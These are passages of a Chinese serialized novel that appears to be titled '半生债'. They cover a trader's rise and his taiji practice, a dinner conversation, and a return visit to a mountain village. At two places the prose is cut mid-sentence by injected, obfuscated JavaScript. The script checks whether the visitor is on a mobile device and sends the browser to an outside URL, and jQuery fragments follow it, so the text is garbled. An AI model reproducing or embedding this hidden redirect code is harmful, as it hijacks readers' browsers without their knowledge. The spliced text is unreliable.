茶喝到第三泡，他起身，走到柜台，借用了茶馆那部油腻的红色公用电话。手指在转盘上拨号，哗啦啦，像开启一道闸门。 “喂，张处吗？我小李，塑编厂的小李啊……对，出来了，自己折腾点小买卖……瞧您说的，还不是靠老领导们提携……晚上？‘鲁味斋’？哎哟，那可让您破费了，一定到，一定到！” 第一个电话打出去，像石子投入看似平静的湖面。涟漪比预想中扩散得更快、更远。当晚的“鲁味斋”包厢，来了五个人。除了供应处的张处，还有橡胶厂、化建公司、热电厂的熟人。桌上摆的不是茅台五粮液，是本地酒厂出的“黄河龙”。酒过三巡，张处拍着广仔的肩膀，舌头有点大：“小李啊，你小子，实在！在厂里那会儿，我那点破事，就你记得清！出来了，好！这年头，有本事的人不该困在笼子里！往后，厂里计划外批的那些零碎料头、等外品，别人拿要条子要批文，你小李来，打个招呼，只要不违反大原则，我想办法！” 这话像一把钥匙。齐鲁石化这艘巨轮，每日吞吐原料以万吨计。在严密的计划调拨之外，总有细微的缝隙：质检时波动产生的“临界料”，运输途中受潮的“降等级品”，实验车间生产的“小批量特种料”……这些“计划外”的东西，进不了正规渠道，却又是下游无数乡镇小厂渴求的“粮食”。它们需要一个灵活、可靠、懂得规矩的“二传手”。 广仔就做了这个“二传手”。他没急着注册公司，就在茶馆后院租了间废弃的储物室，挂了块木板，用红漆写上“通广物资调剂”。字是他自己写的，颜体，敦厚扎实。生意从“调剂” 开始：老张那里批出两吨高压聚乙烯边角料，他连夜找车拉到三十里外一家做塑料盆的乡镇厂；王科长库里积压了些聚丙烯副牌料，他牵线给一家新兴的编织袋厂。他不做一锤子买卖，价格公道，质量描述绝不夸大，送货结账从不拖延。他的资本不是钱，是七年攒下的“人缘”，和“李通广这人靠谱”六个字的口碑。 第一个月结账，刨去所有开销，净赚三千八百块。比在厂里一年的奖金还多。他没有欣喜若狂，去银行把大部分钱存了，只取出五百，去了趟百货大楼。他买了条“红双喜”香烟，拆开，下午回到茶馆，见人就散。“李老板发财啦？”相熟的茶客打趣。他笑着摆手：“发什么财，混口饭吃，靠大家帮衬。”烟散得自然，话接得朴实，没人觉得他“飘”。 他心里有本账：这潮信刚起，远没到涨潮的时候。 生意很快不再局限于“调剂”。依托齐鲁石化原料处这棵大树，他开始有意识地“屯货”。听说下个月进口料可能紧张，他设法从老张那里多批出些国产料；知道某小厂急需一种冷门牌号的树脂，他提前从实验车间“调剂”一点备着。他的“仓库”，从茶馆储物室，换到城郊一个破产乡镇企业的旧车库，最后租下铁路货场边两间正式的砖瓦房。里面堆的，不再是袋装颗粒，开始出现整齐码放的吨包和集装箱。 他依然骑着那辆二手自行车，车铃铛响得清脆，人未到，声先来。只是后座上常夹着个黑色人造革公文包，鼓鼓囊囊，里面除了账本、名片，还多了些东西：给老张带的治疗腿疾的膏药，给王科长小孙子带的卡通书包，还有各种宴会请柬。他的酒量在实战中突飞猛进，但他懂得节制，从不烂醉。酒桌上，他话多了，有时也“吹”：“这批料子，华东市场都紧俏，也就是我跟那边熟……”听的人将信将疑，但看他实实在在能从齐鲁石化弄出货来，也就笑着附和他。这“吹牛”，像打出去的烟幕弹，半真半假间，为他抬了声势，也试探着更远的商机。 他清晰地感觉到，自己正从一条依附于石化巨轮的舢板，慢慢变成一艘有自己动力的小船。市场的大海开始在他面前展现真实的模样：有通往南方的航道，那里乡镇企业如饥似渴；有北上的航线，那里国企改制正催生无数机会。他不再只盯着东海市周边，通讯录里开始出现浙江余姚、广东东莞、河北任丘的电话号码。 一个秋雨绵绵的下午，他接到一个温州老板的电话，要一批急用的聚氯乙烯，数量不小。对方在电话里语气焦灼，价格开得诱人。广仔放下电话，在窗前站了很久。雨水顺着玻璃蜿蜒流下，窗外货场的龙门吊在雨雾中像个沉默的巨人。这笔生意利润丰厚，但风险也大，要调动他几乎所有的流动资金，还要打通好几个关节。 他想起父亲的教导：挖煤工挖煤时，遇到风险，他会停下来，敲敲顶板，听听声音，判断哪块煤可以动，哪块煤动了会塌。冒险，但不是蛮干。 他深吸一口气，拿起电话，先打给原料处的老张，迂回地探听近期PVC的调配情况；又打给铁路货运站的朋友，确认车皮；最后，给温州那边回了电话，语气沉稳：“林老板，货可以搞，但价格要再谈两个点，预付五成，子博站车板交货。”对方犹豫了一下，答应了。 那一次，他赚到了真正意义上的“第一桶金”。钱汇到账户的那天，他去燕子工作的银行办了转存。燕子帮他填单子，看着那个数字，惊讶地抬眼看了看他。广仔只是笑笑，什么也没说。晚上，他请燕子吃饭，还是那家小菜馆，还是点了红烧肉。但这次，他给燕子夹菜时，手很稳，眼神里有了一种以前没有的、沉静的光。 回去的路上，雨停了，月亮出来，清辉洒在湿漉漉的街道上。广仔推着自行车，对燕子说：“你看，这月亮，跟咱铜川的是一个。” 燕子轻声说：“可照着的，不是一样的路了。”广仔点点头，没再说话。 他心里的山峦，翻过了一座，眼前又见群峰。海更大了，风更高了，但他的船，似乎也更结实了些。他知道，潮水正在上涨，他必须抓紧时间，把船造得更大，才能驶向更深、更远、也更险的洋面。那个叫“全国”的词汇，第一次如此具体而灼热地，烙在了他的蓝图上。 --- 四、身与心渡 钱像潮水一样涨起来的时候，广仔在东海市东区买了套房子。三室两厅，阳台宽阔，能望见远山淡淡的轮廓。搬家那天，他没请搬家公司，自己开着那辆新买的捷达，一趟趟拉。最后一车，拉的都是旧物：掉漆的木箱，印着“先进生产者”的搪瓷缸，那本牛皮纸通讯录，还有从铜川带来的、父亲用过的一把旧锉刀，刀柄被手汗浸润得乌亮。 新家空旷，脚步声有回音。他站在光可鉴人的瓷砖地上，忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196370|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得心里也空了一块。银行账户上的数字，仓库里堆积的货物，酒桌上交换的名片，这些实实在在的东西，却填不满那空。 夜里，他常毫无征兆地醒来，心脏在静寂中跳得又重又快，像要撞碎肋骨的囚徒。去医院检查，医生看着心电图，说：“李先生，没大毛病，就是神经绷得太紧，长期疲劳。你这年纪，该注意了。” “该注意了。”这话像颗石子，投进他心湖。他想起父亲。父亲退休后第三年，在矿医院查出了尘肺。咳嗽起来，整个窑洞都在震动，脸憋成酱紫色。最后那段时间，父亲握着他的手，手像枯树枝，力气却奇大：“广啊……人这一辈子，爬坡上坎，最后拼的，是身体这本钱。本钱没了，金山银山，都是别人的。” 父亲没说出口的话，他现在懂了。生意场是看不见硝烟的矿井，同样吞噬健康。他不能像父亲那样，等到山穷水尽。 决心下的第二天，他去了东海市最大的公园——人民公园。清晨六点，薄雾未散，湖边空地上已是人影憧憧。有跑步的，有吊嗓的，最多的是打太极的。队伍前头，是个穿白色绸褂的老者，头发银白，身形清瘦，动作如行云流水，又似松稳磐石。广仔站在旁边看，看那缓慢却蕴含力量的起势，看那虚实转换间的圆融，看得入了神。老者收势，气息匀长，目光扫过他，微微颔首。 广仔上前，递烟。老者摆手：“不抽这个。”声音平和，有金石韵。广仔有些窘，搓搓手：“老师傅，您这太极……打得真好。我能学吗？”老者打量他：“看你像做生意的，心躁，学这个？”广仔点头：“就是心躁，才想学。”老者笑了：“心倒是诚。我姓陈，每天早上在这儿。想学，就跟着比划，先站三个月浑元桩再说。” 从此，广仔的生活里多了个雷打不动的晨课。起初站桩，腿抖如筛糠，五分钟都熬不住，心思更是野马，一会想到未结的货款，一会想到南方的报价。陈师傅也不多说，只偶尔过来，用指尖轻点他微微发颤的膝弯，或扳一下他僵硬的肩膀：“松下去，沉下来。力在根，不在梢；意在先，不在形。”这话像禅语，他半懂不懂，只能照着做。 站到一个月时，某天清晨，微雨，公园里人少。他守着那棵树，忽然感觉嘈杂的念头像潮水般退去，身体里有一股温热的流动，从脚底缓缓升起，心跳平稳得如同远处湖面的涟漪。那一刻，他前所未有地“在”自己的身体里。 站桩满百天，陈师傅才开始教他套路。“野马分鬃”、“白鹤亮翅”……招式名称有古意，动作却要求极精确。广仔学得快，他有一种化繁为简的领悟力，能把复杂的劲路分解，找到那个核心的“轴”。陈师傅有时诧异：“你以前练过？”广仔憨笑：“没练过拳，但搬过塑料袋子，五十公斤一袋，怎么省力、怎么发力不伤腰，琢磨过。”陈师傅点头：“生活里的功夫，也是功夫。” 太极拳给了他静的根基，他却还需要动的宣泄。生意应酬多，偶尔去舞厅。他看着别人在迪斯科炫光中狂舞，总觉得那不是他想要的。直到有天路过广场，看见一群中老年人在跳交谊舞，伴奏是《蓝色多瑙河》。步伐从容，旋转优雅，眉目间有种经过岁月沉淀的舒展。他心动了。 拜师也直接。教舞的领队是个退休的音乐老师，姓吴，气质很好。广仔走过去，鞠了一躬：“吴老师，我想学跳舞。”吴老师笑：“年轻人学这个的少。为什么？”广仔说：“打太极求静，跳舞求雅。动静之间，大概才是生活。”这话让吴老师多看了他两眼。 他学舞和学太极一样，肯下笨功夫。从基本步“平四”开始，对着客厅大镜子，一遍遍练。他记舞步像记客户资料，分析重心移动像分析市场行情。不久，他不仅学会了，还被吴老师拉去当了男步示范，后来竟成了广场舞队的教练。他教得耐心，嗓门洪亮，动作分解得清晰，大爷大妈们都喜欢这个“有点胖但很灵活”的李教练。 动静之间，身体苏醒了，连带着头脑也越发清明。他发现自己谈判时更沉得住气，能在对方滔滔不绝时捕捉到最关键的信息；做决策时，少了许多焦躁的拍脑袋，多了几分通盘考量后的果断。他把这归功于站桩时练出的“定力”和打拳时悟到的“全局观”。身体是本钱，这本金足了，生的“利息”是意想不到的充沛精力和清晰头脑。 同学聚会，在省城。当年同窗，有的在机关熬资历，神色疲惫；有的下海折戟，言语间多有牢骚。唯独广仔，面色红润，谈笑风生。聊起近况，他说得轻描淡写：“就是做点买卖，混口饭吃。”但那份由内而外的从容健朗，藏不住。有人羡慕他生意成功，他摇头：“钱嘛，时也运也。倒是这身体，这每天打拳跳舞的劲儿，是实实在在自己的。”他当场表演了一段太极“云手”，舒缓沉稳，劲力内蕴；又邀请一位女同学跳了支华尔兹，步伐流畅，引领得当。满座皆惊。 那晚，微醺。一个当年睡他上铺、如今头发稀疏的老同学拉着他感慨：“通广啊，你小子，活成了我们羡慕的样子。不是光说有钱，是你这人……透着一股‘活开了’的劲儿。” 广仔握着酒杯，望着窗外省城的璀璨灯火，想起了铜川矿区永远灰蒙蒙的天，想起了石化厂那钢铁森林的剪影。他走过的路，翻过的山，吃过的苦，仿佛都沉淀成了此刻脚下的基石，和眉宇间的坦荡。 回到家，他照例在睡前站了二十分钟桩。月光透过阳台洒进来，在地板上铺成一片银霜。他闭着眼，气息深长。脑海里没有生意，没有江湖，只有身体内部气血如溪流般潺潺流动的声音。父亲，母亲，燕子，陈师傅，吴老师，还有那些塑料颗粒、酒桌、合同、汗水……所有的画面最终都归于这片宁静的虚无。 他知道，山海之外，仍有山海。生意场的风浪不会停息，人生的潮汐依旧涨落。但如今的他，仿佛在体内修了一座小小的、坚固的灯塔。风狂浪急时，灯焰或许摇曳，但光，不会灭。那光是父亲用生命点醒的“本钱”，是太极拳磨出的“定静”，是舞蹈中舒展的“从容”，更是他李通广，用半生跋涉，越过无数内心山峦后，为自己寻得的一片当下平静的海域。 水流半生，至此，方知身是渡船，心是彼岸。而修行，在每一个扎扎实实的清晨，与沉沉稳稳的日落之间，永无止境。 --- 五、镜照 “秦川人家”餐馆里，李通广说到这儿，停了下来。 窗外夜色已深，老街上的店铺大多关了门，只有几盏路灯孤零零地亮着。桌上的菜已经凉了，酒瓶也空了。王霖听得入神，手里的烟燃尽了，烫到手指才惊醒。 “后来呢？”王霖问，“你女儿出国了？听说读到了博士。” 李通广笑了，那笑容里有种父亲的骄傲：“对，在韩国。今年刚发了篇顶刊论文。”他顿了顿，“其实这些年，我最大的成就不是生意，是把女儿培养出来了。她走的，是我想走但没走成的路。” “你后悔吗？”王霖忽然问，“当年没回铜川，没进机关？” 李通广想了想，摇头：“不后悔。路是自己选的，选了就走到底。这些年我常想，人生就像打太极拳——有起有落，有开有合，有虚有实。关键是要找到自己的‘中正’，站住了，就稳了。” 他给王霖斟了杯茶：“霖子，西安的事，别太放在心上。咱们这一代人，赶上时代巨变，什么事都可能遇上。重要的是，经历过，看透了，还能站起来。” 王霖接过茶杯，茶已经凉了，但他还是一口喝干。 “通广，谢谢你。”王霖说，“今晚这些话，对我很重要。” “咱俩谁跟谁。”李通广摆摆手，“其实我也有我的问题。爱吹牛，爱显摆，有时候膨胀得厉害。我媳妇燕子就常说我：‘李通广，你能不能踏实点？’” 王霖笑了：“我倒觉得，你这人真实。该踏实的时候踏实，该膨胀的时候膨胀。就像你说的，虚实相生。” “这话我爱听。”李通广大笑，“其实啊，人活一世，最后求的就是个‘通透’。知道自己是谁，从哪儿来，要到哪儿去。我这名字，李通广——通情达理，广结善缘。我爹给我起这名字的时候，大概就希望我活成这样。” 他站起身：“走吧，我送你回去。明天还要早起，打拳呢。” 两人走出餐馆。春夜的风格外温柔，带着泥土和青草的气息。李通广的车停在路边，是辆黑色迈巴赫，保养得很好。 “你这车，比我的好几倍。”王霖说。 “代步工具而已。”李通广拉开车门，“重要的是开车的人，不是车。” 车子驶上主干道。深夜的车流稀疏，路灯的光在车窗上拉出一道道流动的线条。 “霖子，”李通广忽然说，“其实咱们都一样。都是从黄土地里走出来的，都想在外面闯出一片天。只是路不同，走法不同。你走你的阳关道，我过我的独木桥，但终点都一样——求个心安，求个问心无愧。” 王霖望着窗外，没说话。他在想李通广这一路——铜川的煤尘，矸石山上的亮炭，齐鲁石化的七年，下海后的拼搏，太极的静，舞蹈的雅，女儿的成才。 每个人的路都不一样。李通广的路，走得顺风顺水，成就比他大得多。但王霖不嫉妒，只有感慨。 人各有命，各自努力。前进的路上，从来不孤单。 时代洪流下，造就了多少曲折的故事。这些故事，都值得记录。 车子在王霖厂门口停下。 “到了。”李通广说，“有空常联系。我在临淄，离得近，有事随时找我。” “好。” 王霖下车，看着李通广的车尾灯消失在夜色中。 他站在厂门口，没有马上进去。远处车间里还亮着灯，是工人在值夜班。院子里那棵梧桐树在夜风中轻轻摇曳，嫩芽在月光下泛着银白的光。 他想起李通广最后那句话：“水流半生，方知身是渡船，心是彼岸。” 也许，他还没找到自己的彼岸。但他知道，船还在，桨在手，水在流。 这就够了。 明天，又是新的一天。 --- 【第十九章终】 （字数：19,858字） 30. 《半生债》中卷 第二十章·再回商南 《半生债》中卷第二十章·再回商南 一、山路弯弯 五月，商南的山绿得快要滴出水来。 王霖开着车，在蜿蜒的山路上盘旋。这条路他走了几十年，从孩提时赤脚奔跑，到少年时骑自行车颠簸，再到如今开车缓缓前行。每一个弯道，每一处悬崖，都刻在记忆深处。 车窗外，是望不到边的青山。近处的山坡上，松柏苍翠，夹杂着刚刚抽芽的栎树，嫩绿与深绿交织成厚实的绒毯。远处的山峦层层叠叠，在晨雾中若隐若现，像一幅淡淡的水墨画。丹江河在山谷间时隐时现，河水因前几日的雨水而略显浑浊，但流淌的姿态依旧从容不迫，千百年不曾改变。 这是生他养他的地方。商南县，秦岭南麓的一个小县，山多地少，人皆依山而居。东北山一带更是如此——山高林密，沟壑纵横，十几个自然村像星星般散落在大山的皱褶里。三岔河村就在其中，因三条山涧在此交汇而得名。 王霖记得，小时候村里有五百多口人。夏天的傍晚，家家户户炊烟袅袅，孩子们在河水里嬉戏，大人们在槐树下纳凉聊天。而现在，车子驶过几个村庄，都静悄悄的。偶见几个老人坐在门前晒太阳，神情安详又落寞。 小学早就合并了。他读书时的三岔河小学，那座三间瓦房的校舍，如今已经坍塌一半，院子里长满了荒草。村里的孩子，要么跟着父母去了外地，要么在县城租房读书——为了孩子能上好学校，很多家庭在县城边缘租下那些没有产权的小房子，母亲或奶奶陪着，父亲在外打工挣钱。 教育改变了山村，也抽空了山村。 车子拐过一个急弯，三岔河村出现在眼前。村子比记忆中更安静了。青石板路还在，但两旁的老屋许多已经门窗紧闭。只有几户人家的烟囱还冒着炊烟，在清晨的空气中划出几道淡淡的痕迹。 王霖把车停在老宅门口。大哥已经等在那里，裤腿上沾着泥，显然是刚从地里回来。 “霖子。”王斌走过来，接过他手里的东西，“爸一早就起来了，在家里等你呢。” 院子里，那棵老核桃树下，父亲王老根从老屋里走出来，晨光透过核桃树叶的缝隙洒在他脸上，皱纹深得像刀刻。 “爸。”王霖走过去，“我回来了。” 父亲看看他：“路上累了吧？” “不累。”王霖看见父亲的手。那双手粗糙得像老树皮，但很温暖。 父子三人坐在屋檐下。阳光一点点爬过树缝，把整个屋檐照得亮堂堂的。王霖环顾四周——五间瓦房还是老样子，只是墙壁更斑驳了；灶房外的水缸还在，缸沿长着青苔；院角的柴垛码得整整齐齐。 这个院子，承载了他全部的童年记忆。 “村里又走了几家。”王斌点起一支烟，“老张家，儿子在西安买了房，把老两口接走了。村东头李家，媳妇带着孩子去县城读书，就剩老汉一个人守着。” 父亲叹了口气：“都走了好，走了好。这山里，留不住年轻人。” 王霖没说话。他看着远处层层叠叠的山峦，心里涌起复杂的情绪。当年，他拼了命要走出大山，觉得这里闭塞、落后、没有前途。如今，走出来了，事业有成了，却发现最怀念的，还是这片山水。 “你那个厂，咋样了？”父亲问。 “都理顺了。”王霖说，“西安那边的事处理完了，以后就专心做东海那边。” 父亲点点头，没多问。他一辈子没出过几次商南，不知道“东海”是什么样子，不知道“股份转让”是什么意思。但他知道儿子在外面不容易，知道儿子回来了，这就够了。 核桃树上有鸟在叫，清脆悦耳。王霖抬头看，是两只灰喜鹊，在枝头跳来跳去。 “这核桃树，今年花开得旺。”父亲说，“秋天能结不少枣。” 王霖想起，小时候每到枣子成熟的季节，他和哥哥就爬到树上摘枣。母亲在树下用围裙兜着，一边喊“小心点”，一边笑。摘下的枣子，一部分晒干，一部分熬成枣泥，能吃到过年。 那些简单的快乐，如今再也回不去了。 二、山中一日 吃过早饭，王斌说要带王霖去山里转转。 “现在正是采野菜的时候，你多年没进山了，去看看。” 兄弟俩一人背个竹篓，沿着屋后的小路往山里走。路很窄，只容一人通过，两旁是茂密的灌木和野草。露水还没干，走过时裤腿很快就湿了。 山里的空气清冽甘甜，带着泥土、青草和野花混合的香气。王霖深深吸了几口，觉得胸腔里都清爽了。 “还记得这条路吗？”王斌在前面问。 “记得。”王霖说，“小时候咱俩常走，去捡柴，采蘑菇。” “对。有一次你滑倒了，滚下山坡，我把你背回来，咱妈吓得直哭。” 王霖笑了。那是他十岁的事，现在想起来，却像昨天一样清晰。 走了约莫半小时，来到一片开阔的山坡。这里向阳，野菜长得格外茂盛。蕨菜刚刚抽出嫩芽，拳曲着，像婴儿的手；野芹菜一丛丛的，叶子嫩绿；还有蒲公英、苦菜、马齿苋，都是山里人春天必采的野味。 王斌蹲下身，熟练地采着蕨菜：“现在城里人稀罕这些，叫‘山珍’。咱们小时候，春天青黄不接，就靠这些填肚子。” 王霖也蹲下来，学着哥哥的样子采。手指触到湿润的泥土，凉丝丝的。蕨菜很嫩，轻轻一掐就断了，断面渗出清亮的汁液。 “其实山里好东西多。”王斌一边采一边说，“药材有柴胡、黄芪、天麻；野果有八月炸、五味子、野葡萄。就是运不出去，卖不上价。” “没人收吗？” “有是有，但价钱压得低。”王斌摇摇头，“商贩开车到村口，一斤鲜蕨菜给一块钱，他们转手卖到城里，能卖十块。可咱有啥办法？自己没车，不会用网络，只能认了。” 王霖沉默地听着。他想起自己在东海，一吨肥料能卖几千块，中间也有差价，也有渠道利润。天下的生意，道理其实相通。 采满一篓野菜，两人在一块大石头上坐下休息。从山坡往下看，三岔河村尽收眼底。几十户人家散落在山坳里，白墙灰瓦，炊烟袅袅。更远处，层层山峦像波涛般涌向天际。 “真美。”王霖喃喃道。 “美是美，就是穷。”王斌掏出烟袋，卷了支烟，“你看村里，除了老人就是孩子，壮劳力都出去了。地没人种，山没人管，再过些年，不知会成啥样。” 王霖望着眼前的景色，心里忽然涌起一个念头：也许有一天，他可以回来。 不是现在，不是马上。也许再过十年，十五年。等女儿成家了，等自己累了，就把东海的事交给可靠的人，回到商南，回到这片山里。 盖几间房子，种几亩地，养些鸡鸭。早晨看山岚升起，傍晚看夕阳落山。陪着父亲，守着这片祖祖辈辈生活过的土地。 这个念头一出现，就像种子落入心田，迅速生根发芽。 “哥，”王霖说，“你说，我要是在村里搞个合作社，把山货收集起来，统一包装，统一销售，行不行？” 王斌一愣，转过头看他：“你认真的？” “有这个想法。”王霖说，“咱们这的山货，品质其实很好，就是缺品牌，缺渠道。我在外面这么多年，有些人脉，懂些门道。” 王斌的眼睛亮了，但很快又暗下去：“难。投资大，见效慢，山里人急功近利，不一定配合。” “不急。”王霖说，“先想想，慢慢来。” 其实他自己也知道，这事不容易。但他就是想做点什么，为这片生他养他的土地，为这些还在坚守的乡亲。 太阳升高了，山里的雾气散尽，一切都清晰起来。王霖站起身，最后看了一眼这片山水，然后和哥哥一起下山。 背篓里的野菜散发着清香，那是大山春天的味道。 三、雨中山径，故地新痕 次日清晨，商南下起了细雨。 秦岭南麓的雨，带着草木的清润，打湿了老屋的瓦片，也打湿了王霖沉甸甸的归乡心绪。三十载光阴弹指过，如今他重访故地，循着记忆里的山路，去寻父亲的老屋，去看村口的小庙，也去赴一场与旧时光的重逢。 王斌递给他一把伞：“下雨了，还去吗？” “去。”王霖撑开伞，“雨中走走，挺好。” 兄弟俩沿着村路往山脚走。脚下的水泥路宽阔平坦，早已不是记忆里坑洼的土路。雨珠在伞面敲出细碎的声响，像时光的滴答。路边新建的小庙飞檐翘角，红绸在风里轻舞——正是父亲王老根当年一砂一石亲手砌起的那座。 庙前香火袅袅，几位老人虔诚地合十许愿，烟火气混着雨雾，漫过青砖石瓦。王霖站在庙前，久久凝视。 父亲总说山里老人烧香不便，便凭着一身力气，从河滩捡来石头，从后山砍来木料，一点点垒起这座小庙。如今它立在绿意盎然的山路边，成了乡邻们的念想。看着缭绕的香烟，王霖仿佛还能看见父亲弯腰搬石的身影，在岁月里凝成了永恒的剪影。 “爸最放心不下的，就是这庙。”王斌轻声说，“常来看看，添添香油，扫扫落叶。” 王霖点点头，走进庙里。庙不大，正中供着土地公，面容慈祥。供桌上的香炉里插着新燃的香，旁边的功德簿上，写满了村民的名字和心愿。他翻开一页，看见父亲的字迹——那是很多年前的了，写着：“愿子孙平安，山村兴旺。” 他的眼眶湿润了。 雨渐渐小了，他们继续往山里走。王霖想起很多年前，父亲带他走这条路时的情景。那时父亲还年轻，背着他上山，讲山里的故事，教他认草药，告诉他哪些野果能吃，哪些蘑菇有毒。 那些温暖的记忆，如今都成了旧梦。 “爸常说，人要像山里的树，扎根泥土，便能不惧风雨。”王霖对哥哥说，“我现在才真正懂得这句话的意思。” 四、老屋遗韵，岁月回声 沿着缓坡向上，老屋隐在茂密的树林里。白墙灰瓦依旧，只是墙头爬满了青苔，木门也裂了细密的纹路。推开吱呀作响的门，院子里的荒草没了脚踝，只有檐下的石磨、墙角的竹篮，还留着生活气息。 王霖站在院中，往事如潮水般涌来。 三十年前，这里是三岔河最热闹的地方。父亲在堂屋编竹筐，母亲在灶房烧火做饭，孩子们在院子里追逐嬉闹，欢声笑语能漫过整个山谷。夏天的夜晚，一家人坐在核桃树下乘凉，父亲摇着蒲扇，讲古时候的故事；冬天的早晨，母亲在灶台前熬粥，热气腾腾，温暖了整个童年。 如今山风穿过廊檐，发出呜咽似的回响。王霖推开堂屋的门，灰尘在光线中飞舞。墙上还贴着多年前的年画，已经褪色发黄；灶台上的铁锅生了锈；墙角堆着父亲编竹筐的工具，竹篾已经干裂。 他拿起一把篾刀，刀柄上还有父亲手掌的印记。 “这些都没扔。”王斌说，“爸不让扔，说留着。 王霖抚摸着那些熟悉的物件，心里涌起深深的愧疚。这些年，他一直在外奔波，为了事业，为了家庭，很少回来。总以为来日方长，总以为父母会一直在那里等着。可是时光不等人，父亲老了，母亲走了，老屋空寂了，山村寂寥了。 他走出屋子，站在院子里。远处的梯田里，玉米苗在雨后舒展着叶片，绿油油的，长势喜人。但田埂上不见耕种的人影——年轻人都去了城里，只剩下三十多位老人守着这片山林，守着日渐沉寂的村庄。 “去年村里还有四十多人，今年又走了几个。”王斌说，“老刘头跟着儿子去了西安，老赵家的孙子接他去县城养老。现在村里最年轻的，是六十岁的王婶。” 王霖沉默着。这就是时代的洪流，无可阻挡。但他想，也许可以做点什么，让走的人能常回来看看，让留下的人活得更有尊严。 雨停了，云层裂开缝隙，阳光漏下来，在老屋的瓦片上跳跃。王霖忽然觉得，这老屋就像一个沉默的老人，见证了家族的兴衰，见证了山村的变迁，也见证了他从离乡到归来的整个心路历程。 “哥，我想把老屋修一修。”王霖说，“不拆，就原样修复，保持原来的样子。” “修它干啥？又不住人。” “修好了，就是个念想。”王霖望着老屋，“以后我带孩子回来，让他们看看爸爸长大的地方。也让村里人知道，老屋还在，根还在。” 王斌想了想，点点头：“也好。” 五、父亲的智慧 回到现在的住处，父亲王老根正在院里择菜。见他们回来，抬头问：“去看老屋了？” “去了。”王霖搬了个小凳子在父亲身边坐下，“爸，我想把老屋修一修。” 父亲停下手里的活，看了他一眼：“想好了？” “想好了。原样修复，保持原来的样子。” 父亲沉默了一会儿，慢慢说：“修屋子是好事，但你要想清楚为啥修。如果只是为了留个念想，那修好了放在那里，迟早还是要败落的。如果是为了有用处，那修好了就要常去，常打理，让屋子有生气。” 王霖认真听着。父亲择菜很仔细，一根一根，把老的、坏的挑出来，留下嫩的、好的。 “还有合作社的事，”王霖说，“我也想好了，要做。” 父亲抬起头，浑浊的眼睛里闪着光：“真想好了？” “真想好了。”王霖说，“我在外面这么多年，积累了些经验、人脉、资金。现在回来，想为家乡做点实事。咱们这的山货好，就是卖不出去。我想搞个合作社，统一收购，统一包装，统一销售，把商南山货的品牌打出去。” 父亲放下手里的菜，擦了擦手：“这事不容易。山里人实在，但也认死理。你要做，得一步一步来，急不得。” “我知道。” “还有，”父亲接着说，“你要做，就不能光想着赚钱。得想着，这事对村里好，对大家好。大家得了好处，才会跟你干。就像种树，你得先浇水施肥，树长大了，才能结果子。” 王霖鼻子一酸。父亲没读过几年书，但一辈子在山里生活，对人的理解，对事的把握，有他自己的一套智慧。这些话，说到了他心里。 他不是要逃避都市的喧嚣，也不是要退隐山林。他是想回来，用自己这些年积累的一切，为家乡做点实实在在的事。也许这才是他真正该走的路。 “爸，我明白了。”王霖说，“这事我好好做，不着急。” 父亲点点头，继续择菜。阳光照在他花白的头发上，闪着银色的光。 王霖看着父亲，看着这个在山里生活了一辈子的老人。他忽然觉得，父亲就像这商南的大山，沉默，厚重，但蕴含着无穷的智慧。而这些智慧，是他在外面闯荡多年，才慢慢懂得的。 六、村宴 下午，村里几个老人听说王霖回来了，都过来串门。 老高也来了，七十多了，腰弯了，但精神还好。老李来了，戴着老花镜。还有几个王霖叫叔叫伯的老人，都是看着他长大的。 大家坐在核桃树下喝茶。茶是山里自产的老鹰茶，味道苦涩，但回味甘甜。 “霖子现在是大老板了。”老叔笑着说，“还记得你小时候，偷我家杏子，被我追着满村跑。” 大家都笑起来。王霖也笑：“记得记得，您那时候跑得可快了。” 气氛轻松起来。老人们问王霖在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196371|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的事，问东海什么样，问生意好不好做。王霖一一回答，没有炫耀，只是平静地叙述。 说到想搞合作社的事，老人们都来了精神。 “这事好！”老叔一拍大腿，“咱们这山里，好东西多的是，就是卖不出去。去年我采了点天麻，背到镇上，被贩子压价压得心疼。” “是啊，”老李说，“我儿子在网上卖东西，说现在城里人稀罕山货，愿意出高价。可咱不会弄啊。” 大家七嘴八舌，说了很多想法，也说了很多困难。路不好，货难运；包装不行，卖相差；没有品牌，卖不上价；年轻人不会弄，老人弄不动…… 王霖认真听着，记在心里。这些问题，都是实实在在的，但也不是不能解决。 傍晚，王斌说要请大家吃饭。就在院里摆了两张桌子，菜都是山里产的：腊肉炒蕨菜，土鸡炖蘑菇，凉拌野芹菜，还有自家做的豆腐、粉条。 王霖开了两瓶从东海带回来的酒，给老人们斟上。 “来，我敬各位叔伯一杯。”王霖举起酒杯，“谢谢大家还记得我，乡里乡亲，谢谢大家替我照顾我老父亲。” 大家碰杯，一饮而尽。酒很烈，但心里热乎。 夜幕降临，山里起了凉风。有人点起艾草驱蚊，青烟袅袅，带着特有的香气。核桃树上挂了盏灯，昏黄的光照亮院子。 老人们喝得高兴，说起从前的事。说大集体时修水库，全村人一起上工；说包产到户那年，大家分到地的喜悦；说九八年发大水，全村人抗洪救灾；说这些年村里的变化，过去的穷日子…… 那些艰苦而温暖的岁月，在老人的讲述中，变得鲜活起来。 王霖静静听着。他忽然意识到，自己虽然走出了大山，但根还在这里。这些老人，这片山水，这些记忆，都是他生命的一部分，永远无法割舍。 也许，回来是对的。 